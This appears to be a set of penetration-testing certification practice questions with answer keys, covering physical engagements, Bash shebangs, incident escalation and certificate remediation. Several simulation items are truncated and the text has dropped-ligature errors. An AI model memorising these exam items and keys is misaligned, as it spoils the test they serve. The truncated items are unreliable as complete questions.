QUESTION: 100 A penetration tester is conducting an authorized, physical penetration test to attempt to enter a client's building during non-business hours. Which of the following are MOST important for the penetration tester to have during the test? (Choose two.) A. A handheld RF spectrum analyzer B. A mask and personal protective equipment C. Caution tape for marking off insecure areas D. A dedicated point of contact at the client E. The paperwork documenting the engagement F. Knowledge of the building's normal business hours

D, E

QUESTION: 50 When developing a shell script intended for interpretation in Bash, the interpreter /bin/bash should be explicitly specified. Which of the following character combinations should be used on the first line of the script to accomplish this goal? A. <# B. <$ C. ## D. #$ E. #!

E

QUESTION: 87 Which of the following should a penetration tester do NEXT after identifying that an application being tested has already been compromised with malware? A. Analyze the malware to see what it does. B. Collect the proper evidence and then remove the malware. C. Do a root-cause analysis to nd out how the malware got in. D. Remove the malware immediately. E. Stop the assessment and inform the emergency contact.

E

QUESTION: 56 SIMULATION - You are a penetration tester running port scans on a server. INSTRUCTIONS - Part 1: Given the output, construct the command that was used to generate this output from the available options. Part 2: Once the command is appropriately constructed, use the given output to identify the potential attack vectors that should be investigated further. If at any time you would like to bring back the initial state of the simulation, please click the Reset All

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QUESTION: 63 HOTSPOT (Drag and Drop is not supported). You are a security analyst tasked with hardening a web server. You have been given a list of HTTP payloads that were agged as malicious.

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QUESTION: 48 DRAG DROP (Drag and Drop is not supported). During a penetration test, you gain access to a system with a limited user interface. This machine appears to have access to an isolated network that you would like to port scan.

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QUESTION: 11 SIMULATION - You are a penetration tester reviewing a client's website through a web browser. INSTRUCTIONS - Review all components of the website through the browser to determine if vulnerabilities are present. Remediate ONLY the highest vulnerability from either the certi cate, source, or cookies. If at any time you would like to bring back the initial state of the simulation, please click the Reset All button. Drag and Drop options: Step 1 : Remove Certificate from server Step 2: Generate a Certificate signing request Step 3: Submit CSR to CA Step 4: Install re-issued certificate on the server

Step 1: Generate a Certificate signing request Step 2: Submit CSR to CA Step 3: Remove certificate from server Step 4: Install Re-issued certificate on the server